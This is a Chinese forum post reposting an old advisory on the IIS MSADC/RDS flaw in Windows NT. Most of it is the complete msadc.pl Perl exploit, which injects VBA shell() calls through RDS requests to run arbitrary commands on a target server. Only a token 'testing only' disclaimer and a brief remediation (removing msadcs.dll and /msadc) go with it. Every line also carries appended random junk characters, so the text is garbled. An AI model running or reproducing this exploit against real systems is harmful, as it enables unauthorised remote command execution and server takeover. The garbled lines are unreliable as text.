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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 5 <>agK]  
6 GevO3  
涉及程序: @):NNbtA  
Microsoft NT server Bo\dt@0;  
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描述: #p:jKAc3  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 1Z{p[\k  
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详细: 4m~stDlN  
如果你没有时间读详细内容的话,就删除: 2wim P8  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Wy-quq03"&  
有关的安全问题就没有了。 R S_lQ{'  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 R@{/$p:  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =D:R'0YH  
关于利用ODBC远程漏洞的描述,请参看: 7&S|y]$~  
)-:f;#xJ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm FT?1Q'  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 {w1h<;MH  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp It:QXLi;  
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这里不再论述。 b5,}w:  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: FZI 4?YD?<  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ReGb .pf  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! *Zo o  
wjGjVTtHs  
HC`3AQ12!&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,(Hmk(,  
!`Yi{}1_  
#!perl 9Q5P7}%p  
# uF|ix.R6  
# MSADC/RDS 'usage' (aka exploit) script >WS& w;G  
# wk 7_(gT`0  
# by rain.forest.puppy h+d;`7Z>  
# Y{:/vOj  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me FwzA_ nn  
# beta test and find errors! >u[1v  
}4ju2K  
use Socket; use Getopt::Std; l,2z5p  
getopts("e:vd:h:XR", \%args); }EG(!)u  
;GE u.PdxB  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; s5 'nWMo  
s7.*o@G  
if (!defined $args{h} && !defined $args{R}) { ^"#rDP"v  
print qq~ :NyEd<'  
Usage: msadc.pl -h <host> { -d <delay> -X -v } YD.^\E4o  
-h <host> = host you want to scan (ip or domain) :|mkI#P.  
-d <seconds> = delay between calls, default 1 second :pu{3-n.  
-X = dump Index Server path table, if available %hb5C 4q  
-v = verbose tLXw&hFk`g  
-e = external dictionary file for step 5 4'=N{.TtO  
\uPTk)oaB  
Or a -R will resume a command session `*!>79_2C  
I*R$*/)  
~; exit;} #C7j|9Ew1]  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; oVsazYJ|?  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ,(=]6V  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} d iLl>z  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); lH>XIEj  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} twS3J)UH  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6N)1/=)  
:P1c>:j[  
if (!defined $args{R}){ $ret = &has_msadc; 9 (.9l\h  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} C7_T]e<  
Ax*~[$$~%  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" E,:pIw  
. "cmd /c "; 9o'6es..@Z  
$in=<STDIN>; chomp $in; F7l:*r,O  
$command="cmd /c " . $in ; .*7UT~o=CS  
OIT;fKl9  
if (defined $args{R}) {&load; exit;} wdV?& W+  
B\&Ka<r  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; f)P /@rh  
&try_btcustmr; 6+z]MT  
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print "\nStep 2: Trying to make our own DSN..."; ghj~r  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \8aF(Y^H  
nv{4 U}&P  
print "\nStep 3: Trying known DSNs..."; x7@HPf  
&known_dsn; ?zu{&aOX|  
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print "\nStep 4: Trying known .mdbs..."; AAY UXY!  
&known_mdb; y ]%,Y=%X  
9iNns;^`q  
if (defined $args{e}){ F ;&e5G  
print "\nStep 5: Trying dictionary of DSN names..."; m3-J0D<  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } _=x_"rz x  
xB+H7Ya  
print "Sorry Charley...maybe next time?\n"; [wG%@0\  
exit; ljON_*  
]w_)Spo.  
############################################################################## =lD]sk  
34:EpZO@  
sub sendraw { # ripped and modded from whisker 0M98y!A 5^  
sleep($delay); # it's a DoS on the server! At least on mine... a $%[!vF  
my ($pstr)=@_; uy:=V }p  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <J`xCm K  
die("Socket problems\n"); elB 8   
if(connect(S,pack "SnA4x8",2,80,$target)){ Zw{tuO7}K  
select(S); $|=1; w5jZI|  
print $pstr; my @in=<S>; A$6b=2hc>  
select(STDOUT); close(S); PlUjjJU  
return @in; mkA|gM[g7  
} else { die("Can't connect...\n"); }} 8E[`H  
1z:N$O _v  
############################################################################## L|w-s4L  
wm71,R1  
sub make_header { # make the HTTP request f|0QN#$  
my $msadc=<<EOT 4pT|r6!<  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ;# j 82  
User-Agent: ACTIVEDATA ]l%.X7M9  
Host: $ip j@!}r|-T  
Content-Length: $clen A,)ELVk1F  
Connection: Keep-Alive EPRs%(w`  
w\*/(E<:  
ADCClientVersion:01.06 FJ"9Hs2  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 hspg-|R  
Am  $L  
--!ADM!ROX!YOUR!WORLD! F k;su,]_  
Content-Type: application/x-varg CF_!{X_k}  
Content-Length: $reqlen n#cN[C9  
qT @IY)e  
EOT s\!vko'M  
; $msadc=~s/\n/\r\n/g; q:^Cw8  
return $msadc;} >IjLFM+U  
<LN$[&f#  
############################################################################## q04Dj-2<  
|9eY R  
sub make_req { # make the RDS request *xP:7K  
my ($switch, $p1, $p2)=@_; J3;KQ}F.I  
my $req=""; my $t1, $t2, $query, $dsn; n.RhA-O  
hh&y2#Io  
if ($switch==1){ # this is the btcustmr.mdb query 5zOSb$;  
$query="Select * from Customers where City=" . make_shell(); B,,d~\  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . >,Z{wxz J  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} A o$z )<d'  
DA~ELje^j  
elsif ($switch==2){ # this is general make table query Q;nr=f7Ys  
$query="create table AZZ (B int, C varchar(10))"; yw!`1#3.  
$dsn="$p1";} qV,j)b3M  
w-Fk&dC69  
elsif ($switch==3){ # this is general exploit table query GR `ncI$z  
$query="select * from AZZ where C=" . make_shell(); 2z3A"HrlA  
$dsn="$p1";} f*Js= hvO  
_9r{W65s  
elsif ($switch==4){ # attempt to hork file info from index server ^j}sS!p  
$query="select path from scope()"; {m:R v&T  
$dsn="Provider=MSIDXS;";} W^Y0>W~  
; bE6Y]"Rz  
elsif ($switch==5){ # bad query B$EP'5@b  
$query="select"; cU|jT8Q4H  
$dsn="$p1";} =U2n"du  
a*y mBGF  
$t1= make_unicode($query); x$DJ  
$t2= make_unicode($dsn); V"iLeC  
$req = "\x02\x00\x03\x00"; *'-^R9dN.S  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2"mj=}y6  
$req.= "\x00\x00" . $t1 ; Ms)zEy>[Ql  
$req.= "\x08\x00" . pack ("S1", length($t2)); TVwYFX  
$req.= "\x00\x00" . $t2 ; "s9gQAoaO  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; V}+;b bUc-  
return $req;} <t{AY^:r  
dC#\ut%l  
############################################################################## [)n}!5fE  
c@M@t0WT[  
sub make_shell { # this makes the shell() statement b0 `9wn  
return "'|shell(\"$command\")|'";} %QLYNuG  
Dj(7'jT  
############################################################################## Pc== ]H(  
:j4 [_9\  
sub make_unicode { # quick little function to convert to unicode uF"`y&go  
my ($in)=@_; my $out; !Jl0Eu  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } e8<nP t`C  
return $out;} ~W{h-z%q  
v*'\w#  
############################################################################## Qe.kN dT+_  
C/ VYu-p%  
sub rdo_success { # checks for RDO return success (this is kludge) *?Ef}:]  
my (@in) = @_; my $base=content_start(@in); NI:N W-!  
if($in[$base]=~/multipart\/mixed/){ ^I?y\:.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;NeEgqW "  
return 0;} 1G.gPx[  
?ovGYzUZ  
############################################################################## 1:UC\WW  
JZxF)] ^  
sub make_dsn { # this makes a DSN for us d2yHfl]3  
my @drives=("c","d","e","f"); LfXr(2u  
print "\nMaking DSN: "; N\p]+[6  
foreach $drive (@drives) { N o\&~  
print "$drive: "; j88sE MZ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Fxx2vTV4ag  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" /+O8A}  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); B?Sfcq-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 1R9? [RE  
return 0 if $2 eq "404"; # not found/doesn't exist w{x(YVS H  
if($2 eq "200") { '$-,;vnP0  
foreach $line (@results) { ? 4Juw?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 2_b'mepV  
} return 0;} ~(^*?(Z  
G>>u#>0  
############################################################################## =c^=Yvc7U  
)uuEOF"w  
sub verify_exists { chzR4"WZFt  
my ($page)=@_; D-:<]D:  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 0.+eF }'H  
return $results[0];} 5THS5'  
B/kn&^z$|~  
############################################################################## K(fLqXE%  
g_c)Ts(  
sub try_btcustmr { bv>lm56  
my @drives=("c","d","e","f"); jZ,[{Z(N   
my @dirs=("winnt","winnt35","winnt351","win","windows"); h!CX`pBM  
wD^do  
foreach $dir (@dirs) { \[I .  
print "$dir -> "; # fun status so you can see progress &})d%*n  
foreach $drive (@drives) { U*"cf>dB(  
print "$drive: "; # ditto vD9D:vK  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; h^$}1[  
$reqlenlen=length( "$reqlen" ); 2BA9T nxC  
$clen= 206 + $reqlenlen + $reqlen; 810<1NP  
4@iJ|l  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); E?4@C"Na  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Mr,y|   
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} <;E[)tv  
m{dyVE  
############################################################################## (jMAa%  
Cf=q_\0|W  
sub odbc_error { E816 YS='  
my (@in)=@_; my $base; _s-HlE?C  
my $base = content_start(@in); 5po' (r|U  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this e0WSHg=6@  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q1\k`J  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $"{3yLg  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;VlZd*M?  
return $in[$base+4].$in[$base+5].$in[$base+6];} lc?mKW9  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; #IGoz|m  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . m?% H<4X  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} R:BBNzY}f  
tDHHQ  
############################################################################## 39aCwhh7v  
C2=iZ`Z>T  
sub verbose { J$9xC{L4  
my ($in)=@_; {F+M&+``  
return if !$verbose; %i -X@.P  
print STDOUT "\n$in\n";} :`u&TXsu  
cm 9oG  
############################################################################## ' raB  
0Q- Mxcj  
sub save { ={E!8"  
my ($p1, $p2, $p3, $p4)=@_; io r [v  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *(&ClUQQ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; }vUlTH  
close OUT;} t-7[Mk9@  
u ?G\b{$m  
############################################################################## qz=#;&ZU  
7l#2,d4  
sub load { -Mi}yi  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1u"*09yZd  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 2~&hstd%  
@p=<IN>; close(IN); /q"d`!h)w  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); sE%<"h\_0  
$target= inet_aton($ip) || die("inet_aton problems"); }L$Xb2^l  
print "Resuming to $ip ..."; 0fPHh>u  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `f 6)Q`n  
if($p[1]==1) { $v'Y:  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Ue g N-n  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; JXLWRe  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); k BiBXRt  
if (rdo_success(@results)){print "Success!\n";} l'7Mw%6{  
else { print "failed\n"; verbose(odbc_error(@results));}} *L;pcg8{  
elsif ($p[1]==3){ Q%n{*py  
if(run_query("$p[3]")){ k$-~_^4m  
print "Success!\n";} else { print "failed\n"; }} \n*7# aX/  
elsif ($p[1]==4){ U!\2K~  
if(run_query($drvst . "$p[3]")){ Dz8:; $/  
print "Success!\n"; } else { print "failed\n"; }} WE.$at{*h  
exit;} Z`oaaO  
Od!F: <  
############################################################################## eN]>l  
)zW%\s*'  
sub create_table { n-hvh-ZO  
my ($in)=@_; .A*VLF*m  
$reqlen=length( make_req(2,$in,"") ) - 28; oGJ*Rn)Z  
$reqlenlen=length( "$reqlen" ); W%>i$:Qq  
$clen= 206 + $reqlenlen + $reqlen; XYb^C s;  
my @results=sendraw(make_header() . make_req(2,$in,"")); eg2U+g4  
return 1 if rdo_success(@results); +=6RmId+X  
my $temp= odbc_error(@results); verbose($temp); 1qLl^DW  
return 1 if $temp=~/Table 'AZZ' already exists/; ~3'RW0  
return 0;} z#{ 0;t  
0;FqX*  
############################################################################## xBL$]>  
b'7z DZI]  
sub known_dsn { |k`f/*  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Z&dr0w8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 8R\>FNk;  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", \]T=j#.S$  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); fou_/Nrue  
SE;Tujwhqi  
foreach $dSn (@dsns) { {K45~ha9!m  
print "."; e8AjO$49  
next if (!is_access("DSN=$dSn")); mvHh"NJ  
if(create_table("DSN=$dSn")){ :Su#xI  
print "$dSn successful\n"; P.LuF(?$  
if(run_query("DSN=$dSn")){ kqKj7L  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Qe>i{:N  
print "Something's borked. Use verbose next time\n";}}} print "\n";} \LdmGv@ &  
wC(vr.,F  
############################################################################## '?"t<$b  
ceFsGdS  
sub is_access { (odR'#  
my ($in)=@_; OU,PO2xX9  
$reqlen=length( make_req(5,$in,"") ) - 28; Ew %{ i(d  
$reqlenlen=length( "$reqlen" ); %XP_\lu]  
$clen= 206 + $reqlenlen + $reqlen; D!bKm[T  
my @results=sendraw(make_header() . make_req(5,$in,"")); n+{HNr  
my $temp= odbc_error(@results); ~K~b`|1  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); qIbg 4uE  
return 0;} rU=b?D)n!w  
(C`FicY  
############################################################################## >~I xyQp  
aho'|%y)  
sub run_query { U1,~bO9  
my ($in)=@_; ~L%Pz0Gg  
$reqlen=length( make_req(3,$in,"") ) - 28; ]d@^i)2LF  
$reqlenlen=length( "$reqlen" ); qQfqlD<  
$clen= 206 + $reqlenlen + $reqlen; q2x|%H RF  
my @results=sendraw(make_header() . make_req(3,$in,"")); .FIt.XPzv  
return 1 if rdo_success(@results); lLuID  
my $temp= odbc_error(@results); verbose($temp); )uQ-YC('0  
return 0;} aO8c h  
x9&-(kBU  
############################################################################## M{`/f@z(  
}3v'Cp0L  
sub known_mdb { ZCy`2Fir  
my @drives=("c","d","e","f","g"); Lw*;tL<,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qqnclqkw&  
my $dir, $drive, $mdb; 01U *_\  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; L|&'jH)  
iO!27y  
# this is sparse, because I don't know of many LnP3z5d(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ?h/xAl  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", CF]i}xpWV  
"\\system32\\certmdb.mdb", >qR7'QwP  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7#QLtU  
7OB%A&  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", YiD-F7hf.*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1hl]W+9  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =EQJqj1T  
"\\cfusion\\cfapps\\security\\realm_.mdb", !7}IqSs  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", G+0><,S  
"\\cfusion\\database\\cfexamples.mdb", KX!i\NHz  
"\\cfusion\\database\\cfsnippets.mdb", y8G&Wg aCi  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 2ck 4C/ h  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", BR+nL6sU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", (=1)y'.  
"\\cfusion\\database\\smpolicy.mdb", 7 _`L$<-n  
"\\cfusion\\database\cypress.mdb", X*i/A<Y`=  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", A]7<'el=  
"\\website\\cgi-win\\dbsample.mdb", M :V2a<!c  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ~ |6dH  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" + :Vrip  
); #these are just ][,4,?T7  
foreach $drive (@drives) { )l_@t(_  
foreach $dir (@dirs){ "NDxgJ%J35  
foreach $mdb (@sysmdbs) { "< v\M85&  
print "."; (:5G#?6,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ U[R@x`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ({4]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ =VNSi K>F  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; h{k_6ym  
} else { print "Something's borked. Use verbose next time\n"; }}}}} RPVT*`o  
Ow3P-UzU3  
foreach $drive (@drives) { LOr|k8tL%  
foreach $mdb (@mdbs) { A3HF,EG  
print "."; H6gU?9%  
if(create_table($drv . $drive . $dir . $mdb)){ } VEq:^o.  
print "\n" . $drive . $dir . $mdb . " successful\n"; 'CXRG$D  
if(run_query($drv . $drive . $dir . $mdb)){ 6-B 9na  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; G/vC~6x  
} else { print "Something's borked. Use verbose next time\n"; }}}} \?DR s  
} +Ng0WS_0  
Q/ZkW  
############################################################################## ,`32!i  
,Ol (piR  
sub hork_idx { `Gd$:qV  
print "\nAttempting to dump Index Server tables...\n"; o%[U  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; w%dL 8k  
$reqlen=length( make_req(4,"","") ) - 28; WA$ JI@g  
$reqlenlen=length( "$reqlen" ); BByCM Y  
$clen= 206 + $reqlenlen + $reqlen; u3J?bR  
my @results=sendraw2(make_header() . make_req(4,"","")); Wkzs<y"  
if (rdo_success(@results)){ $Z?\>K0i  
my $max=@results; my $c; my %d; #?[.JD51l  
for($c=19; $c<$max; $c++){ x0Yse:RE^  
$results[$c]=~s/\x00//g; b.F^vv"]]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; :?Y$bX}a  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 5\Fz!  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {_#yz\j  
$d{"$1$2"}="";} hXn3,3f3oZ  
foreach $c (keys %d){ print "$c\n"; } YE}s  
} else {print "Index server doesn't seem to be installed.\n"; }} 4=Gph  
eKN$jlg  
############################################################################## Bfr'Zdw  
^V3v{>D>  
sub dsn_dict { -x`G2i  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); M+`H g_#Q  
while(<IN>){ Y[Ltrk{  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; UsQ4~e 4-  
next if (!is_access("DSN=$dSn")); kforu!C  
if(create_table("DSN=$dSn")){ @kFu*"  
print "$dSn successful\n"; 1tMQqI`N  
if(run_query("DSN=$dSn")){ !k&Q 5s:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @}s$]i$|-  
print "Something's borked. Use verbose next time\n";}}} ;heHefbvvd  
print "\n"; close(IN);} x;\wY'  
28andfl  
############################################################################## gNpJ24QK  
T]T;$  
sub sendraw2 { # ripped and modded from whisker c+dg_*^  
sleep($delay); # it's a DoS on the server! At least on mine... <#+44>h  
my ($pstr)=@_; &<pKx!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ($nrqAv4  
die("Socket problems\n"); ~8T(>!hE1h  
if(connect(S,pack "SnA4x8",2,80,$target)){ ,8MLoZ _  
print "Connected. Getting data"; \5)htL1F  
open(OUT,">raw.out"); my @in; 27F~(!n  
select(S); $|=1; print $pstr; Yw; D:Y(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 5 BtX63  
close(OUT); select(STDOUT); close(S); return @in; F^k.is  
} else { die("Can't connect...\n"); }} Cx_Q: 6T  
!0,Mp@ j/  
############################################################################## ,TJ D$^  
l8h&|RY[  
sub content_start { # this will take in the server headers sZ<9A Xk-E  
my (@in)=@_; my $c; CjIu[S1%  
for ($c=1;$c<500;$c++) { ,m=4@ofX  
if($in[$c] =~/^\x0d\x0a/){ -fI@])$9J  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  j2l55@  
else { return $c+1; }}} <M]h{BS=  
return -1;} # it should never get here actually ra N)8w}-  
qmy%J  
############################################################################## 1xE]6he4{T  
Mg,:UC:  
sub funky { +;}#B~:  
my (@in)=@_; my $error=odbc_error(@in); L I>(RMv  
if($error=~/ADO could not find the specified provider/){ )~6zYJ2  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Va VN  
exit;} in`aGFQO  
if($error=~/A Handler is required/){ &sXRN &Fp  
print "\nServer has custom handler filters (they most likely are patched)\n"; <#GB[kQa  
exit;} gb=/#G0R  
if($error=~/specified Handler has denied Access/){ 6 15s5ZA  
print "\nServer has custom handler filters (they most likely are patched)\n"; ] b9-k  
exit;}} aVL=K  
%M|,b!eF  
############################################################################## >>i@r@  
?E%ELs_Dl  
sub has_msadc { R"MRnr_4K  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); iJ' xh n  
my $base=content_start(@results); "1`Oh<={b  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ph>7?3;t  
return 0;} .`<@m]m-  
SUKxkc(  
######################## qn1255fB  
73#x|lY  
[YrHA~=U  
解决方案: %1 vsN-O}8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll C;QAT  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 R8rfM?"W  
pj4!:{.;  
拿出来充数 哈哈
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